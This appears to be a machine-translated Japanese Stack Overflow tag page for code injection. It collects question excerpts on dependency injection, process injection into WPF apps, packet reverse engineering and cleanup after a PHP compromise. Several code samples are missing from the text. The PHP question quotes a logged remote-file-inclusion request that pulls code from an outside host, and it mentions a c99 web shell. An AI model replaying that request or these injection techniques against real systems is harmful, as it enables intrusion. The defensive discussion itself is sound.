問題タブ [code-injection]
For questions regarding programming in ECMAScript (JavaScript/JS) and its various dialects/implementations (excluding ActionScript). Note JavaScript is NOT the same as Java! Please include all relevant tags on your question; e.g., [node.js], [jquery], [json], [reactjs], [angular], [ember.js], [vue.js], [typescript], [svelte], etc.
logging - log-object の自動注入が grails で常に機能するとは限らないのはなぜですか?
grails-framework では、いくつかのオブジェクトがログを使用しています。これは通常、grails によって注入されます。の実行で動作しgrails test-app
ます。しかし、同じテスト (統合テスト) は の実行時に失敗しますgrails test-app -integration
。
ここで何がうまくいかないのですか?どうにかしてログオブジェクトの注入を強制できますか?
c# - UnityContainer、子コンテナの注入
私は Unity Application Block にかなり慣れていないので、次の実装に少し手こずっています。親コンテナと子コンテナがあります。子コンテナーの新しいインスタンスを解決するときに、CreateChildContainer メソッドを使用して新しい UnityContainer をコンストラクターに挿入します。
.net - 実行中の WPF アプリケーションにコードを挿入する最良の方法
これが私の仕事です:
- 実行中のマネージド WPF アプリケーションにカスタム マネージド コードを挿入します (つまり、私のコードは他の AppDomain で実行する必要があります)。
- 挿入されたコードは UI スレッドで実行する必要があります
私が「最高」と言うとき、私は次のことを意味します:
- 注入プロセスは可能な限り安定している必要があります (スレッドのデッドロックなどはありません)。
- コードは x86 および x64 プラットフォームで問題なく動作するはずです (特に Vista x64 では)。
最小限のユースケース
- 実行中の WPF プログラムを選択
- カスタム コードを挿入する
- コードを挿入すると、ターゲット プロセスのメイン ウィンドウのタイトルが「コードが挿入されました」に変わります。
私が評価しているソリューション:
1) Windows フックを介したインジェクション ( Snoopなど)
長所:
- 挿入されたコードは UI スレッドで実行されます
短所:
- 混合 (c++/cli) 外部 dll が必要
- デバッグが難しい
2) EasyHookライブラリによるインジェクション
長所:
- ライブラリは堅実で十分にテストされているように見えます
短所:
- UI スレッドでコードを実行する方法が見つかりませんでした
- インジェクション ライブラリに署名して GAC にインストールする必要があります
3) WriteProcessMemory/CreateRemoteThreadEx/LoadLibrary によるインジェクション
長所:
- 単純
短所:
- 非常に不安定 (コードは DllMain で実行する必要がある、CLR ホスティングが必要など)
方法 1 を使用します。より良いアプローチをお勧めできますか?
アンマネージ DLL での CLR ホスティングに基づく適切な手法はありますか?
私はこれらの質問を認識していることに注意してください:
java - XMLベースの構成ファイルをJavaクラスに簡単にロードする方法は?
次のような単純な Java クラスがあります。
次のような単純な XML ファイルからこの情報を読み取りたいと思います。
手動で解析するのではなく、xml ファイルからの情報を変数名に直接挿入する簡単な方法はありますか? 外部ライブラリを使用してもかまいません。
どんな助けでも大歓迎です。
javascript - javascript のブロックを DOM に追加すると、本番環境では失敗しますが、開発環境では失敗します
ASP.NET Web サイトを持っています。とても巨大です!
私が行った最新の追加は、すべて JavaScript/AJAX 対応です。
サーバーからクライアントに HTML と JavaScript コードを送り返すと、クライアントは HTML を DIV に挿入し、これを使用して JavaScript を DOM に挿入します。
またはこれ:
私自身の開発マシンでは、挿入された JavaScript にアクセスでき、挿入された JavaScript 関数を実行できます。
テスト環境にデプロイすると、(www.testenv.com などの内部ドメイン名があります) JavaScript エラーが発生します。
問題を小さなページに切り分けようとしましたが、そこに alert("sfdfdf"); を挿入しました。ページの下部にあり、それは正常に機能します。
これを禁止するポリシー設定はありますか?
windows - Windows アプリでスクランブル パケットをリバース エンジニアリングするにはどうすればよいですか?
私は、平文でサーバーにパケットを送信するために使用されるWindows exeアプリを持っています。このアプリ (クライアント アプリと呼びましょう) は間違いなくクローズ ソースですが、巧妙なハッカーがバイナリを 16 進編集し、スクランブルされたパケットを送信するようにしました。
さて、明らかに、これらのパケットは解読可能な方法でスクランブルされています (そうでなければ、サーバーはそれを理解できません)。サーバー、および応答のスクランブルを解除できる (スクランブルされている場合)。
hex-ed クライアントは、実行するために追加の dll を必要としましたが、古いクライアントには必要ありませんでした。どういうわけか、16 進数のクライアントがその dll をロードすることができ (client.dll と呼びましょう)、その dll の機能は、から送信されたすべてのパケットを再ルーティングするいくつかの Windows API にフックすることによって、スクランブリング/スクランブル解除を実装することであると想定しています。 client.exe プロセス。
これがどのように機能するかを理解し始める方法と、スクランブリングをリバースエンジニアリングする方法について私に指示できる人がいれば、それは本当にありがたいです.
どのような情報を提供すればよいかわかりませんが、不足しているものがある場合は返信してください。詳細を投稿します。バイナリが必要な場合は、喜んで提供します。
関係者向けのバイナリ ダウンロード:
http://dl.getdropbox.com/u/46623/client.dll
http://dl.getdropbox.com/u/46623/newClient.exe
http://dl.getdropbox.com/u/46623/originalClient.exe
リソース ファイルが必要なため、これらは実行されません。それらは約 3 GB であり、大きすぎてどこにもアップロードできません。有罪 =) を保護するために名前が変更されていますが、おそらく dll の名前は保護されていません...
php - PHP インジェクション攻撃 - 混乱を解消する最善の方法は?
インストール済みのアプリのポートフォリオにパッチを適用しておくことができなかったために、共有ホスティング環境が侵害されることがあります。先週は、Help Center Live と呼ばれる PHP アプリケーションの古くて使用されていないインストールが原因でした。その結果、サーバー上のすべての PHP ファイル (および、いくつかの Wordpress、Joomlas、SilverStripe をインストールしています) に、他のサイトからクローキングされたリンクを取得してページに含めるコードが追加されました。この種の攻撃の後、自分のサイトが Google から追放されたと報告する人もいます。携帯電話からサイトの 1 つにアクセスしたときに初めて気づきました。そのページには、モバイル ブラウザにリンクが含まれていました。
ログには、次のような多くの攻撃の試みが見つかりました。
62.149.18.193 - - [06/Feb/2009:14:52:45 +0000] "GET /support/module.php?module= HelpCenter//include/main.php?config [search_disp]=true&include_dir= http: // /www.portlandonnuri.com/ 2008_web//technote7/data/photo/ id2.txt??? HTTP/1.1" 200 26 "-" "libwww-perl/5.814"
私はすぐにこのアプリケーションを削除し、問題のある PHP コードをすべてのソース ファイルから削除するスクリプトを作成しました。また、このスクリプトは、感染した他のサイトへのリンクを含む HTML ファイルを作成していたこともわかりました。それらも削除しました。今、攻撃者が、私が見逃した何か他のものを残したのではないかと心配しています。それは、攻撃者が永続的にアクセスできるようにする PHP ファイルです。ファイルの日付はすべて攻撃で変更されており、問題の期間中に変更された他のファイルは見つかりませんでした。サーバーにバックドアがないことを確認するために、見落としている明らかなものはありますか?
編集: 上記のログ ファイルのスニペットに示されているような、攻撃コードを含むテキスト ファイルも検索します。何も見つかりませんでした。
別の編集:同じ状況に陥ったためにこの投稿に出くわした場合、これが役立つかもしれません. PHPソースファイルを操作する前に、これを使用してすべてのPHPソースファイルをバックアップしました。
これにより、攻撃者が行った変更を元に戻すことができます。
ロケット科学ではありませんが、私のような時折 Linux/Unix ユーザーにとっても些細なことではありません :-)。
別の編集: サーバー上のすべてのコード行を監査することはできませんが、疑わしいデータを検索することはできます。「eval」と「base64」の出現箇所をすべて検索しましたが、正当に見えないものは見つかりませんでした。次に、「.ru」の grep を実行しました (加害者はそこから来ているようです)。見よ、c99 シェルと呼ばれるものを見つけたので、すぐに削除しました。
最終編集: c99 シェルがどのようにアップロードされたかを知りました - Coppermine フォト ギャラリーの穴から。
ちなみに、IP アドレスは Godaddy がホストする IP です。
servlets - EJB をインスタンス変数としてサーブレットに注入するのは安全ですか?
Web層では、特定のサーブレットのインスタンスが1つしか存在せず、複数のリクエストを処理する可能性があることは誰もが知っています。これにより、インスタンス変数でスレッドの問題が発生する可能性があります。
私の質問は、 @EJB アノテーションを使用してインスタンス変数としてサーブレットに EJB を注入しても安全ですか?
EJB の同じインスタンスが同時に複数の要求を処理するという仮定の下では、私の最初の本能は「いいえ」です。これは、他の多くのプログラマーの本能でもあるようです:サーブレットに注入しないでください
しかし、私は間違った結論に飛びつきました。明らかに、サーブレットに挿入されるのはプロキシです。コンテナは実際に各リクエストを異なるインスタンスで処理し、スレッド セーフを維持しますか? このフォーラムが示唆するように: Do inject to servlets
賛否両論あるようです。どちらが正しい???
asp.net - ASP.NET での SMTP ヘッダー インジェクション?
私の ASP.NET Web サイトには、Web アプリで何らかのエラーが発生したときに、私 (および別の開発者) に電子メールを送信するグローバル エラー ハンドラーがあります。最近、聞いたことのない電子メール アドレスへの CC を含むエラーを受け取りました。恐ろしいのは、エラー メールが送信される開発者のリストが、コンパイルされた ASP.NET コードにハード コーディングされていることです。CC がどのように追加されたのかはわかりません。
また、エラーの原因となったリクエストは、フォームの 1 つを使用してスパムを送信しようとしたものであるため、不正行為の可能性も非常に疑われます。リクエストを送信した IP アドレスもhttp://www.projecthoneypot.org/にリストされています。
現時点で最も推測できるのは、リクエストの形式が不正であり、CC ヘッダーが電子メールに挿入されたということです。問題は、これがどのように行われるかを理解できないことです。System.Net.Mail を使用して電子メールを送信していますが、この種のことから保護しているようです。MailMessage オブジェクトの件名は 1 行しか受け付けないため、CC 行で複数行の件名を作成することはありません。MailMessage で to および cc アドレスを設定することは、かなり堅牢なようです。また、メッセージの本文に CC ヘッダーを追加する方法がわかりません。これに関する情報が見つかりません。これが実際の問題かどうかを知りたいです。
編集: 誰かがコードを要求しました。ちょっと長いですが、以下です。